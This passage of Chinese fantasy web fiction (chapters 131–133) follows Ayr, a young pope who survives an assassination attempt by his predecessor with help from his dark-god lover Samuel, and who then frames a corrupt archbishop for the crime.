塞缪尔捏了捏他柔软的耳垂,“想找到凶手吗?我可以帮你。” 艾尔扭头看祂,“你要怎么找?” “如果他是暗系天赋者,使用力量的时候,我能感知到这座城黑暗元素的调动。” 嚯,这就是强者的境阶吗?艾尔立即从空间戒指里拿出魔法书开始学习!他可太想体验一下当神是什么感觉了,再不济,也要晋阶成法神才甘心。 青年半点不犹豫,直接笑着拒绝了恋人的好意:“不用你帮忙。” 塞缪尔脸上愉悦的浅笑顿时僵住,祂眉头一皱,“为什么?” 艾尔斜睨了祂一下,“你确定不用我付出什么代价做交易?” 塞缪尔不说话了。 “呵~”他就知道这家伙会见缝插针的占他便宜。 不过艾尔也有些好奇祂会提什么过分的要求,便顺口问了一句。 神明大人木着脸,但语气听起来有点委屈,“只是想让你撒个娇求我而已。” “就这?!”真的假的,这么纯洁? 塞缪尔没好气地揉了一把小崽子的脑袋,“不然呢?我还能为难你?” 看青年半信半疑的样子,塞缪尔也没有多说,不然显得祂多在意这件事似的。 啧,以前哄祂的时候经常卖乖撒娇(艾尔:??),自从在一起了,变得越来越凶了。 “真不想知道你想找的人现在在哪儿?不需要做交换。” 艾尔这才点头,不过他找人也不是为了把他抓起来,就是好奇那人是何身份,和艾布纳是什么关系。 “你说我把最贪心的几个神官叫出来给他杀怎么样?如果他能把主教也解决了那就更好了。”省的还要他查好罪证再清洗。 哦…不行,主教身上有圣光护印,对暗系天赋者伤害太大。 艾尔甚至阴暗地想,干脆他亲自动手解决掉主教算了,再甩锅给凶手,相信那人是不介意的。 但很快他便放弃了这个想法……青年摁了摁太阳穴,反思是不是前段时间处决了太多人,让他看惯生死,变得冷漠起来了。 随意杀人不好,栽赃也不好,他要守住底线,他不想变成那种视万物生灵如蝼蚁的人…… 两人散着步,有一搭没一搭的说着话,塞缪尔第一次体验和恋人压马路,还挺喜欢的。 如果能牵手就更好了,祂看很多年轻男女都喜欢这样,应该感觉很不错吧……可惜小崽子太上进了,手里捧着一本书,没法给祂牵。 算了……塞缪尔自己安慰自己,能两个人独处,已经比白天好太多了。而且不愧是祂看中的人,认真努力的样子真好看,跟那些做梦于神恩天降的废物完全不一样! 神明大人很为祂的恋人骄傲,情不自禁地吻了一下青年的额角。 艾尔倒是不介意,只是让祂吃豆腐的时候注意一下周围有没有人。 已经散步好一会儿了,城里唯一的动静就是偶尔传来几声虫鸣狗吠。 塞缪尔忽然看向某个方向,笑了一声,“人族的黑魔法师,这辈子还是头一次见。” 居然还有个和祂一样没被教廷发现的幸存者。 艾尔跟着祂飞速赶过去,并非在靠近教堂的地方,甚至远到出了城,到了一座墓碑林立的荒山,正好撞见十几具衣衫褴褛的骷髅,正被暗系魔法操控着往伊塔城的方向走去。 一缕白光飘过,阻断了它们身上的魔法,骷髅架子哗啦一声散落在地。 只是用火当杀人手法,他和艾布纳还能跟主教廷那边说是其它系的法师栽赃黑暗种族,反正这种事没少发生,契约魔龙那一回不就是这样嘛。 但骷髅架子满城跑就骗不了了,连底层平民都知道这是黑暗魔法的手段,艾尔只能阻止了。 “光明教廷的人?” 一片黑雾散去,显露出穿着灰色麻布斗篷的年轻人,青年肤色是常年不见阳光的白,面容阴鸷,眼中燃烧着仇恨,“本来与你无关的事,你非要来找死!” 艾尔有点犹豫,他应该尽力和这个人友好聊一聊才对,问一下他有什么冤屈,可是…… 他前不久和一个不服气的魅魔打过架,同样会使用魔法,感觉却和人族之间的对战很不一样。 艾尔现在想和正经的暗系法师切磋一番,见识一下他们的手段,干脆趁这个机会打一架吧,多难得才能遇到个珍贵的暗系法师啊,塞缪尔那个非人类不算! 130-135 第131章 第 131 章 艾尔半点不拖拉地回到主教廷, 他还是第一次回这个地方这么高兴,也是第一次送别熟人的时候这么高兴。 教皇冕下向来喜欢安静,不想和太多人见面, 所以这场告别很低调,埃德加主教只把几个孩子们, 还有大主教们叫回来了。 本来教皇平日里也不管事, 他的离开对教廷可以说是毫无影响, 甚至除了忠心的埃德加主教外,没人会产生不舍之情。 头上少了座大山压着, 大家都轻松快意了很多, 这种心情也表现在了脸上, 大主教们最夸张,嘴角基本没有拉下来。 艾尔以前还没见他们笑得如此真心过, 不过人家嘴上说着是为冕下感到高兴,已经很久没有出现能去往神域的人了,冕下真是他们光明教廷的荣耀啊! 并且能亲眼见到伟大的光明神,并侍奉于祂身边, 一直是冕下的心愿, 感谢吾神赐福,让冕下能在千岁之前就顺利突破为新神! 嘴上说得好听,其实就是单纯的高兴教皇要永远离开了。 大主教们当然知道圣子会继位为教皇, 成为他们的新上级, 但是在他们、尤其是被艾尔得罪过的大主教眼里, 年轻圣子实力不足, 成不了他们头顶的大山。 所有知情人都或激动, 或期待,或不舍, 教皇本人倒是一如既往的淡定,将他的继任者单独叫过去叮嘱一些事情。 教皇将一柄锋利的银白长剑交给他,也就等于把神圣骑士团的指挥权移交到他手中了。 因为艾尔以往喜欢游历在外,和骑士们交集不多,还贴心的帮他了解几个实力最强的骑士是什么性格脾气。 权贵人物的机密情报交给他,财库钥匙也交给他,还仔细教了艾尔召唤阵和请神咒语。 白发男人谆谆教导的模样就像一位负责的师长,态度还是那么温和,只是以前更流于表面,这次要更真实,艾尔想着他肯定是心情极好。 虽然自己想不通这么强的实力不去潇洒度日,还赶着去侍奉一个无聊的神明是什么爱好,但人各有志嘛,冕下乐于其中,他也能升职,大家都有美好的未来。 然后,随着时间一点点过去,教皇越是说的周全,艾尔心里越惴惴不安。 他对眼前这人的看法是,心机深沉,做事必有目的,不会浪费时间去和没有用处的人打交道。 既然教皇要离开凡界了,那这里的人对他也没价值了才对,为什么突然对他这么温柔…… —— 大殿之中,神像双目注视之处,温润男人一拄法杖,脚下亮起了一圈圈白色符文,纹路包含了太阳、月亮和星星,以及十大元素的图案象征,那是魔法境阶的证明,每个魔法师都可以主动显示自己的魔纹。 王城上空云层翻涌,天色更亮,隐身在空气中的光明元素发着莹润微光,轻盈地飘来飘去,就像天空下起了大雪。 城民们稀奇不已,小孩子们努力捕捉着温暖的光点,发出欢快笑声。 蔚蓝天空就像裂开了一道小口,里面金光乍泄,有一道似光似雾的影子从郊外的教廷飞出,飘飞进了那道小口,裂缝闭合之后,王城的美妙景象很快也随之消失了。 艾尔的不安在亲眼见到教皇飞升上界后,心终于定了下来。 安慰了一下舍不得教皇的埃德加主教,又被一些人围住询问继位仪式的事情。 终于能当家做主的艾尔当然是打算随着自己的心意来,那就是——不搞继任仪式。 反正他有实力有名声,在神官和信徒中都有大批的支持者,是名正言顺的新任教皇,没必要搞得兴师动众的。 咳,主要是他懒得应付一大帮人,也不想说场面话。 见新教皇心意已决,众人也不再劝了,跟艾尔关系不好的大主教们只是从众说了两句,然后就不管了,不办仪式更好,他们也省了一份贺礼。 人群散去,银发青年忽然注意到神像下的一角,那个钥匙孔所在的地方,顿时僵住了——教皇冕下他……忘记把地下藏宝库的钥匙给他了! 脑中迅速回忆了一番不久前教皇交给他的东西,有机密情报室的钥匙,还有存放金银财宝的财库钥匙,确实,没有地下宝库的钥匙呢。 笑容缓缓消失.jpg 艾布纳看他一脸恍惚,“怎么了?你该不会是想念冕下了?” 本来是开个玩笑,没想到艾尔居然点了一下头,语气忧伤道:“真希望能再见冕下一面啊……” “???” 艾布纳正想问他俩什么时候关系那么好了,就见艾尔脸色一正,匆匆离开了。 艾尔来到了教皇的住处,先从他们刚才待过的书房找起。 他心里还抱着一点希望,一定是地下宝库不常用,冕下一时之间没想起来,加上快见到光明神所以太激动了,就忘记了宝库的存在,像他自己不也才想起来。 万一运气好,钥匙被冕下整理财产的时候顺手放在了书房呢。 很快,书房,连带着前任教皇的卧室都被他翻遍后,艾尔终于心死了。 嗐,是他太乐观了,这个世界的有钱人,都是会把重要东西放在空间戒指里随身携带的。 乐观的艾尔继续安慰自己,算了算了,只要世界和平,那些神明遗物也派不上用场,真的有需要了,集齐大主教们身上的备份钥匙碎片就行。 本来答应了伴侣今晚就能回去,但艾尔现在想留下来看看教廷收集的八卦,咳…情报,便用通讯水晶联系塞缪尔不用等他了。 一摞摞书函都放在前任教皇书房里的密室中,艾尔拿了一些出来,就坐在书房里看。 —— “叩叩” 银发青年闻声抬头,才发觉天色已经从黄昏彻底暗了下来,境阶高了之后已经不会感到饥饿和疲惫了,所以沉迷某件事后总是注意不到时间的流逝。 艾尔起身去开门,没有随意的边敲门边叫他名字,肯定不是艾布纳那几个家伙,他猜测,一定是主教阁下吧…… “?!”啊? 看到完全出乎预料的人,青年瞪大了眼睛,在门刚打开的那一瞬,在他反应过来之前,便听见“嗤——”的一声。 艾尔略迷茫地低头看,果然是有什么东西刺穿了他的腹部…… 可能是应激反应,大脑屏蔽了痛觉,他此刻感觉不到痛意。 直到对面的人收手将法杖拔了出来,温热的血液汩汩外流,疼痛感开始出现,随着每次呼吸都越发尖锐。 艾尔额角冒出点点冷汗,这种时候了,他居然还有闲心反省一下,老话说的没错,做人不能太得意忘形,说不定会乐极生悲。 光明神留下的护印起效了,艾尔能感觉到破损的内脏正在修复,他摸着手腕上的镯子,将之变成完全形态的法杖。 本来跟对方就没什么感情,突然被袭击,艾尔也并不震惊,或者难过,他只是眼神复杂地看着对方,平静说道,“冕下,您可真会给人惊喜。” 对方习惯性地带着几分温和笑意说话,“抱歉,艾尔,你是个好孩子,我也不想杀你的。” 艾尔暂时不想动手,他更想知道原因,便冷静的跟他聊着。 “我不是您的对手,但您应该知道我身上有护印,恐怕短时间内杀不了我,不担心被别人发现吗?” 温雅的白发男人叹了口气,“抱歉,因为吾神的护印,还需要多杀你三次,我会尽快结束的,不会让你痛苦太久。” 夏佐再次动手时,早有防备的青年躲了开来,男人注意到了艾尔远超寻常法师的速度和灵活度,微微挑眉,却也没放在心上。 境阶相差太大,不管这孩子如何挣扎,也是徒劳而已。 艾尔瞄了一眼对方手上那根弯曲如树枝的黑色法杖,他在地下宝库里见过,这是疫神的神杖。 啧,原来没给钥匙是故意的,免得众人发现了神明遗物的失窃。 光系魔法让黑夜看起来像白天,但周围依旧没有其他人的动静。 艾尔艰难地维持元素的控制权,见等不来帮手,他一个法圣,疯了才跟次神级别的人继续打下去。 等接连用了两张传送卷轴却没看到空间裂缝之后,艾尔的心彻底沉了下去。 一张不起作用他就当制作者马虎,出了点小差错,两张不起作用,就不能用倒霉和巧合来解释了。 “空间系神明遗物?” 夏佐温声回答,“是,宝库的东西还是很好用的。” 艹……艾尔暗骂了一声,他刚才怎么会这么天真以为对方只拿了根神杖伪装凶手身份。 现在看来,教廷的人毫无动静,也是某件神器的原因。 “咳…咳咳…”银发青年嘴角溢出一道血线,这是第二次处于濒死状态了。 加害者竟露出几分遗憾,“这个年纪,居然已经修到法圣境阶了吗,真是个有天赋的孩子。” 艾尔忽然想起了很久之前的一些事情,“那几个候选人…咳咳…也是你动的手?” 夏佐没有否认,“你比他们要好很多,如果可以的话,我也不想让你死,可惜……你太有价值了。” 他本身就实力高出银发青年一个大境阶,身上又尽是神明遗物,光、木、水……身边的一切,仿佛连空气都在进攻,艾尔哪会是他的对手,这辈子从来没像今天这样狼狈过! 若不是多年来一直在练剑术,身体反应够快,恐怕早就死透了。 即便这样,艾尔也撑不了多久,空间神器将他限制在一平米内,进不得,退也不得,三道护印很快便消耗完了。 更麻烦的是,疫神的神杖在他身上造成的伤,用治愈术效果不大。 夏佐站在几步之外,动了动手指,从虚弱到只能撑着法杖才能站立的青年身上拿取自己想要的东西。 白色的光点从艾尔心脏处流出,但中途停留了一下,又返回了自己主人体内。 白发男人眯了眯眼,他确定这孩子不是法神,应该看不到、更控制不了信仰之力才对,为什么无法剥夺? 果然是要他彻底死去才行吗…… 夏佐看着正勉强撑着防御魔法的青年,为什么还要抵抗呢? 明明毫无胜算,早点放弃,就早点从痛苦中解脱不是吗? 胜券在握的男人忽然蹙起眉头——这片完全受他控制的空间,出现了一股强大的压迫感。 几乎在夏佐察觉到异常的瞬间,艾尔那边正在攻击他的元素造物已经完全消失在黑暗之中。 被浓厚的黑暗笼罩着,却比温暖的光明更让他安心,在他卸力倒下之前,便被万分熟悉的怀抱圈住了。 第132章 第 132 章 银发青年在教廷时总是穿着素洁的金纹白袍, 如今白袍变成破碎血衣,看起来格外凄惨狼狈。 塞缪尔很难形容自己刚才找过来时,看见伴侣一身血迹, 摇摇欲坠的时候是什么感觉。 那瞬间,祂的身体和灵魂仿佛坠入寒潭, 心尖都在发颤。 “怎么把自己搞成这样?” 心疼和后怕远胜于愤怒, 塞缪尔甚至无视了造成这一切的元凶, 祂只紧紧地抱着自己的恋人,感受着他的温度和呼吸间的胸膛起伏, 怕自己一个不留神, 恋人就永远地闭上了眼睛。 神明从来没有像此刻这般意识到, 原来生命是如此的脆弱又珍贵…… 艾尔注意到伴侣说话时的一点颤音,心疼不已, 他一向骄傲肆意的伴侣,怎么能害怕呢? 本来想提醒对方力气太大弄疼他伤口了,算了…只是疼一下又不会死。 青年带着凉意的手紧握住恋人,改口温声安慰, “没事, 就是血落在白衣服上太显眼了,看起来有点惨而已,死不了的。” 黑暗影响不了塞缪尔的视觉, 祂看见恋人脸色苍白, 却还笑着安慰祂…… 但呼吸间是满腔的血腥味, 揽着他腰背的手也被正在流出的温热血液浸湿, 塞缪尔完全没被安慰到。 祂紧皱着眉, 异常焦躁,“伤口怎么还没愈合?” 艾尔已经用过很多次大治愈术了, 各种治疗魔药也喝了一堆,但就是见效缓慢,还没等他多说,塞缪尔已经从浓重的血腥味中嗅到了熟悉的味道,“疫神的腐烂臭味……” 比次神更磅礴的神力抹消了伤口中残留的邪恶诅咒,艾尔再用治愈术的时候,伤口以肉眼可见的速度止血复原。 因为银发青年那边被黑暗笼罩,教皇看不见两人相拥的姿势,他略新奇地问,“黑暗魔法……是艾尔在深渊交的朋友吗?” 男人态度随和,就像刚才什么都没做一样。 居然为了救人闯入光明教廷……神明当年评价的没错,艾尔果然是个受万众生灵喜爱的孩子,连深渊异族都愿意真心待他,真是让人羡慕啊…… 教皇一出声,倒是提醒了塞缪尔敌人的存在。 黑雾散去,教皇看见银发青年无力地靠在一个高大男人的怀里,而男人看向了他,黑眸森冷。 夏佐挑眉,居然不是异族,能化解神器的威力,他还以为是那位传闻中的魔王陛下呢。 “暗系天赋者。”教皇不认识根本没来过教廷几次的圣子近身骑士,如果不是对方发色不对,他还以为这就是神明一直忌惮的黑暗之子了。 但他的疑心也没有完全打消,这种致命威胁感太熟悉了,对方高高在上的态度也太熟悉了,像极了他的神明…… 唯有愤怒,让黑眸男人看起来像是个懂爱恨的人类。 来者看不出深浅,夏佐还是决定试着杀死两人,但在他动手之前,对方根本不想多说一句废话,在注意到加害者的瞬间便动手了——祂要让这个人类受尽折磨而死,然后,挫、骨、扬、灰。 夏佐立即注意到了光元素被排斥出这片空间,不……准确来说,除了暗元素,这里已经没有任何其它元素了,以他次神的境阶居然只能勉强使出魔法! 教皇脾气稳定,脸上也没有显露什么坏情绪,他只轻笑一声,谁能想到就那么一会儿时间,他便落到了艾尔刚才的境地呢。 塞缪尔抱着伤还没好的伴侣,不放心离开他身边,只冷冷看着蝼蚁在步步紧逼的杀招中艰难抵抗。 地上多了第二个人的血迹,教皇濒死一次,但被圣光护印治愈了身体,让他略诧异的是,护印对黑暗力量的反击被黑眸男人完全挡下,这可是主神的一击呢…… 塞缪尔只恨祂的实力还没有完全恢复,这个人类有众多神器相助,祂不能完全控制住他,但即便如此,对方也是没有胜算的。 夏佐重伤一次后也不恋战,甚至没有费时间问一句对方的身份。 他从数百件神明遗物中找到适合防御和循走的神器,逃离了此地。 塞缪尔蹙眉,条件反射的就想追杀过去,但如今祂有了牵绊,不能再随意行动了。 艾尔见夜空中裂开一道不明显的缝隙,“他去了神域?” 塞缪尔蹭了蹭他的额头,闷闷地“嗯”了一声。 艾尔了然,原来白天那么大的声势是教皇故意的,让每个人都相信他已经离开凡界,神域是只能进不能出,这样不管下界发生什么,都没人会怀疑到他身上。 如果不是塞缪尔的威胁太大,那个人恐怕还会在凡界隐藏一段时间去暗杀其他人抢夺信仰之力。 若不是他特殊,从小就能看见信仰,恐怕都不知道教皇杀他是图什么。 艾尔依旧紧握着恋人的手,声音虚弱地说了一句,“不要追。” 他不想恋人进入神域后被光明神察觉到,至于教皇冕下,他们来日方长…… 身上狰狞的伤口是愈合了,但是失去的大量血液不可能突然凭空变多,要缓一阵才行,所以艾尔现在还晕眩乏力着,把整个人的重量放心地交到恋人身上。 塞缪尔的大手拢住青年微凉的手给他取暖,“没有追,我陪着你。” 男人语气轻柔,眼神却格外恐怖。 祂本想强行和那个人族签订主奴契约,让他在恐惧中自残而死,但那人身上有神器在保护他的灵魂,一时之间碎不了那玩意儿,塞缪尔只能在他身上留了个追踪印,以后必不可能放过他! 塞缪尔打横抱起伴侣就要带人回深渊的神殿,祂可没心思管周围一片残垣断壁被教廷其他人看到会怎么想。 但艾尔谨慎惯了,在祂一脚迈入传送阵之前,用光明驱逐了高浓度的黑暗元素,并把因为碰到暗元素而枯萎的神光花变回了娇嫩模样,然后注意到恋人阴沉的脸色后,乖巧地搂住了祂的脖子。 塞缪尔将人带回卧房,正准备把人放在床上,青年却有些抗拒,将脸埋在祂颈间,语气绵软,“再抱我一会儿。” 塞缪尔一怔,祂以前总希望伴侣能主动点,最好撒个娇,此时青年真的这样做了,祂只觉得心疼…… 转身坐在了靠椅上,塞缪尔把人放在腿上,抱在怀里轻轻拍着他的背,“只是想帮你换衣服……是不是害怕了?别怕,我们在家里,没有外人能闯入这里。” 神明大人哪用过这么小心翼翼的语气说话,但心怀柔情的时候,这些话自然而然的就说出来了。 青年难得任性,搂着恋人的脖子,“不换,害怕,你再抱一会儿。” 塞缪尔听他承认,反而短促地笑了一声,“你一向胆大,居然还会害怕?有我现在害怕吗?” 祂现在心脏还收紧着,还在后怕,不敢想象如果祂今晚没想过找他,或者晚来了一会儿,会发生多可怕的事。 血腥味一直萦绕在鼻尖,塞缪尔终于看不下去青年身上那血淋淋的衣袍了,祂看的揪心,黑雾将之吞噬干净,然后祂才拿出一件斗篷盖在人身上。 艾尔闻言从厚实温暖的怀里抬起头,沉默地注视着俊脸阴郁的伴侣。 他本来感情内敛,很多想法是羞于启齿的,现在看着伴侣始终没有放松的眉头,苍白脆弱的青年长睫一颤,终于轻声开口,“我不怕死……我只是怕再也见不到你了。” 这辈子已经体验了太多曾经不可想象的事情,在弱肉强食的世界,被杀也是他技不如人,如果他是孑然一身,死亡或许只会让他感到遗憾,而非害怕,但他不是一个人啊…… 在好几次濒死的时候,他担心的不是自己,而是他的黏人精伴侣。 父母还有彼此互相慰藉,塞缪尔要怎么办呢…… 祂只在意自己的恋人,失去联系一天都会焦躁,纯纯的恋爱脑,艾尔非常笃定,如果他出事了,塞缪尔一定会发疯的。 “我怕你以后都不会再开心了……”他只是想一想他去世后伴侣会是什么心情,自己就先难过得不行。 塞缪尔愣住了,自幼相识,祂还是……第一次见到青年流泪。 他哭的时候很安静,连抽噎声都没有一点,还温柔地看着抱着自己的人,就像根本没有意识到眼泪流了下来。 神明大人心都化了,细细吻走泪珠,最后吻上了柔软的唇,唇齿间溢出了一句话,“看你还敢和我分开。” —— 过了好一会儿,两人后怕的心终于松下来了。 艾尔拉着伴侣的手捏着玩儿,闲聊问着,“你是怎么知道我有危险的?” 塞缪尔笑了一下,“就像你以前教过我的那个词,心有灵犀?” 祂待在兰开斯特庄园里的时候,忽感心悸,脑中第一时间想到了祂的小伴侣,“再加上,你没有接我的水晶通讯。” 小伴侣从来没有无视过祂的联络,或许他身边有外人在,不方便接通讯,这么想着,塞缪尔还是半点不犹豫的赶去了教廷,祂就这么一个宝贝,祂赌不起。 艾尔眼珠一动,想起了什么,弯眸笑着,“光明神留在我身上的三道护印都废掉了,现在,你可以在我身上留下印记、或者契约?随便吧。” 塞缪尔黑眸一亮,立即和小伴侣签订了灵魂契约,从此他们便能随时感应到彼此的方位,感知到对方是否安全……有太多能让他们关系更紧密的好处了。 艾尔看着刻有塞缪尔名字的契约阵没入心脏处,只觉安心。 如果教皇见到了光明神,必然会提到他身边有个强大的暗系天赋者,他在深渊游历这么久,交个朋友不也很正常嘛,什么?他身上有暗系的印记?他不知道呢。 他只知道,前任教皇无缘无故的要杀他,所以光明神大人赐下的三道护印都没有了。 嗯,如果光明神再降临找他的时候就这么说。 “时间差不多了,我们回教廷吧。” 塞缪尔不太乐意,又清楚教廷还有烂摊子没收拾,小伴侣放不下,也不想闹失踪让朋友担心他,所以还是顶着不情不愿的脸打开了传送阵。 此时天色已经蒙蒙亮了,前任教皇的小殿附近一片狼藉,而一夜过去,还没有一个人发现异常。 不远处,负责巡逻的骑士们倒在地上,面容祥和,就像是睡着了,偌大的教廷寂静无声,连后山的魔兽,虫蚁,都没有丝毫动静。 第133章 第 133 章 趁着教廷现在没有清醒的人, 塞缪尔光明正大地牵着小伴侣的手跟着他四处走动。 艾尔刚看到有人倒在地上的时候,还以为他们都死了,走近一看是睡得太香, 甚至还有不少人在梦中发笑,可见做的都是美梦。 就连有剑圣境阶的骑士长都着了道, 艾尔想起了以前在宝库里见过一个叫“梦神的祝福”的手链, 估计是受了那玩意儿的影响。 只有身上带着圣光护印的神官没受次神遗物的影响, 所以埃德加主教他们都被一一找上门,被施了安魂咒。 咒术同为光系, 护印对此不会有反应。 艾尔随口喃喃一句, “看来光明神还是有点用的, 我是不是该说声谢谢。” 如果不是圣光护印,他一定会死在美梦中。 塞缪尔幽幽地看着他, 艾尔眉眼弯弯,笑得有点小坏,“祂那么讨厌你,却帮你救了伴侣一次, 你也要礼貌一点, 以后有机会见面的时候跟人家道个谢。” “……”那亚希伯恩一定会像吞了苍蝇一样难受。 塞缪尔乖乖点头应下,祂看得出即便护印真的帮上忙了,小伴侣也不会觉得欠了人情, 因为他一直都因为自己转世后受了太多苦而对光明神怀有偏见和敌意。 塞缪尔没忍住牵着青年的手凑到唇边亲了一下, 宝贝真是太可爱了! 艾尔看到艾布纳和黛芙妮都好好的, 不由松了口气, 同时又有点疑惑, 既然教皇都来过他俩的住处了,为什么没有动手掠夺他们的信仰? 以前不也杀过其他候选人吗, 虽然他们身上的信仰之力不多,但蚊子腿再小也是肉,艾尔还以为教皇会顺手都取了。 难道是有自己这块大肥肉,他看不上别人身上那点信仰了? 在杀害前几个候选人的时候快准狠,没让人多受一点痛苦。 今天也让所有人沉睡,不误伤别人,在伤害他之前还道歉。 现在想来,前一日那么细心的跟他讲事情,也像是在弥补亏欠……残忍中又带点温柔。 艾尔摇了摇头,觉得教皇真是个谜一样的人。 “梦神的祝福”其实是个好东西,让人在美梦中沉睡一夜,便能自己醒过来,所以艾尔也懒得费心去把人弄醒。 至于被施了安魂咒的几人,他觉得教皇对埃德加主教还有点感情,估计用的魔法也是有时效的,他也懒得管了,刚好他想给自己留点时间恢复身体,现在不想应对一大帮子人。 艾尔往自己的小殿走,塞缪尔忽然停下脚步拉住了他,低沉磁性的声音在他耳边蛊惑着,“这么好的机会,不顺手把你讨厌的人给彻底解决了?” 艾尔一愣,立马想到了几个人名,别说,他还真的有点心动,现在教廷里唯一醒着的就是自己和恋人,他们完全可以为所欲为啊! 有点期待,又有点紧张犹豫,主要是青年的道德水准有点高,这种趁虚而入搞暗杀的事情听着很爽,以后能省很多麻烦,但艾尔还是有些别扭。 但这么好的机会若是什么都不做,一定会后悔很久的,艾尔想了想,很快便定下了主意。 —— 巡逻的圣骑士被刺眼的阳光照到之后,瞬间便警觉地睁开了眼睛。 他们站起身来面面相觑,确保整队人都还活着,来不及探究为什么会睡着,小队迅速分散开来,去检查哪个地方有异常。 前任教皇的殿宇附近一片狼藉,很明显这里曾被什么空间魔器隔离了,圈内满是打斗的痕迹,圈外连一根草都没折。 看到这幅景象的骑士立即传了信号给同僚,随后自己拔出了剑,谨慎地走了进去。 一片杂乱中,坐在靠椅上静静翻看手札的银发青年格外显眼,就像周围和平时没有区别似的,察觉到有人过来,他眉眼柔和,关心了一句,“你们都醒了吗?” “是,他们去别处检查了。”骑士归剑入鞘,行了礼,“殿…冕下,我等失职,不知为何在巡逻时陷入了昏睡,希望吾神庇佑您一切安好。” 骑士心惊胆战,刚才他就注意到了地上的血迹,再看新任教皇脸色苍白,显然是受了重伤,大量失血——他们骑士团居然在教皇继位的第一天就出了这么大的纰漏! 骑士非常自责,他出生平民家庭,而眼前为底层带来太多改变的青年,是他最尊敬崇拜的人…… “吾神确实庇佑了我。”青年没有丝毫责备,只礼貌吩咐了一声,“能帮我把散落的手札信件都收拾一下吗,麻烦你了。” 被青年的从容感染,骑士紧张了一路的心终于放了下来,“是,冕下,这是我应该做的。” 骑士没有问发生了什么,是谁闯入了教廷,等会儿会有神官们来追问的,冕下看起来有些疲惫,还是让他安静一会儿吧。 不多久,艾布纳和几个候选人风风火火地赶过来,“你没事吧?该不会昨夜只有你一个人和闯入者打起来了吧?你怎么没睡着?” 艾尔瞥了他一眼,淡淡地吐出一句扎心的话,“可能因为我比你强吧,及时察觉到了危险。” 周围比新教皇年龄大很多的神官和骑士们安静下来,默默自卑。 大主教们也纷纷闻讯而来,他们脸色都很难看,没想到以自己的境阶居然会着了道! 现在想来都很后怕,如果那个闯入者带着杀心…… 不不不,那该死的家伙一定是知道最强大的教皇离开了,特意来杀人的,幸好新教皇还算靠谱,及时察觉到了危险赶走了袭击者! 埃德加心疼地看着没什么血色的孩子,“哎,这次大家都长了教训,不能以为在主教廷里就能松懈下来。” 老人愤恨地拄了拄法杖,“一定是那个杀死了丹尼尔和其他候选人的黑暗异族!” 有大主教冷冷道,“早就说了异族不可信!” “冕下,您看清凶手的长相了吗,他是哪个种族?” 艾尔闻言顿了一下,“没有看见脸,不过他身上没有奇怪的部位,更像是人族。””而且……我们之前都搞错了,凶手不是暗系天赋者,我很确定,他用光系魔法攻击了我。” 一石激起千层浪! 青年垂下眼眸,装作在思考回忆的模样。 他想着,若是如实告诉大家找了几百年的凶手就是前任教皇,恐怕没人会相信吧…… 毕竟想不通那位图什么,而且也亲眼看见他已经去了神域,所以说实话的结果要么是众人坚信他在撒谎,要么是坚信凶手故意假扮成前任教皇的模样。 艾尔懒得费功夫去证明真相,也很难证明,就算所有人都相信了又能怎么样呢?对已经去了神域的人无法造成任何损失。 所以……他打算利用现有条件达成他想要的局面。 银发青年思忖片刻,抬眼看向众人,打断了他们的激烈反应,沉声道:“比起长什么样,更麻烦的是,他身上穿戴的东西,都来自于地下宝库。” 这句话和刚才那句说凶手是光系天赋者一样让人难以置信! “哦,光明神在上,冕下,您是说,宝库失窃了吗?!” “怎么可能?您确定吗?” “快去检查一下!” 青年扶额,无奈道,“夏佐冕下忘记把钥匙交给我了,我也是看见了凶手用的武器才想起这件事,麻烦阁下们把你们身上的钥匙碎片凑完整。” 在埃德加给前任教皇找借口的声音中,大主教们从自己的空间戒指中摸钥匙……嗯?钥匙呢?怎么摸不到?! 疑惑和焦躁都写在了脸上,很快,大主教们都意识到不止自己一个人找不到钥匙了,另外几个……咦,怎么还少了个人? 埃德加扫视了周围一圈,皱着眉,“威廉阁下呢?” 有骑士回答了他的话,“我们去了威廉大主教的住处,没有看见他。” 众人沉默半晌,艾布纳不可思议道,“难道是威廉阁下偷走了你们的钥匙,进宝库拿走了藏品,还想暗杀我们所有人?!” 新任教皇的脸色终于沉了下来,“你们的钥匙是什么时候丢的?” 一名大主教憋闷回答,“不知道。” 这玩意儿就没用上过,平时就扔在空间戒指里,看都没看一眼。 作为同僚,他们已经认识威廉大主教几百年了,即便有的人知道他和自己一样都是虚伪又贪婪的人,但还是想不通,“难道威廉很早之前就被恶魔蛊惑了吗,他为什么突然要害我们?” 银发青年叹了口气,“大概是担心我刚拿到宝库钥匙,会去看一眼吧,然后发现藏品失窃的事情进行调查……” “可惜,他不知道夏佐冕下根本就没有把钥匙交给我。” 事情已经很明朗了,光系大主教威廉不知用何手段偷盗了同僚身上的钥匙,也偷盗了所有神明遗物,并想杀害对他有威胁的神官们以绝后患。 周围散落在地的血迹是真实的,新教皇身上的三道圣光护印都耗尽了,他受到的伤害也是实打实的,没有必要骗他们…… 基本所有人都相信了这场栽赃嫁祸。 此时,王庭的秘密地牢中—— 向来喜欢扬着下巴看人的傲慢神官正呆愣愣的,还没有从现在的境地回过神来。 他被关在了狭小的笼子里,身上满是鞭痕和血污,作为一个光系法师,却没有办法治疗自己,因为他的四肢都戴上了牢固的禁魔手环,他现在就是一个普通人,一个废人…… “哒,哒,哒…” 听见鞋跟落地的声音,老人一个哆嗦,看起来可怜至极。 有道威严的女音嘲讽道,“威廉阁下,怎么不继续叫嚣了?” 威廉哪敢,上一次这个女人来的时候,他不知道自己为什么无知无觉的被关起来了,看见了女王陛下,仍然习惯用傲慢姿态跟她说话,至于后果…… 他威胁的越狠,陛下抽鞭子的力度也越狠,直接打掉他半条命,把珍贵的护印给消耗了! “陛下,我当年真的是被前王欺骗了,我是不知情的!” “我已经死过一次了,您就当我给泽维尔少爷赔过一命了,放过我吧!” “我会向伟大的光明神祈祷,请神明保佑泽维尔的灵魂安息……” 话未说完,大主教便被雷电劈出了焦味。 费莉西娅指尖缠绕着紫色电流,眼神发冷,想起刚才艾尔那孩子传来的好消息,忽地冷笑一声,“喜欢做栽赃陷害,背后阴人这种事?可现在的受害者变成了你,感觉怎么样?” 威廉发着抖,“你…什么、意、意思?” 费莉西娅耐心的跟他讲述了教廷刚才发生了什么样的误会,然后欣赏着有着强大实力的大主教无能狂怒的模样。 过了一会儿,忽然觉得没什么意思了,冷着脸离开了地牢。 威廉终于意识到,他还要被关在这个不见天日的角落,受很久的折磨……但是他不敢自杀,也不想死! 老人愤愤地想,他明明有那么强大的实力,死了就是这个世界的损失!他不能死! 他要等全知全能的光明神察觉到他的冤屈,然后找到他,救下他! 恐惧死亡的大主教选择在地牢里苟延残喘。 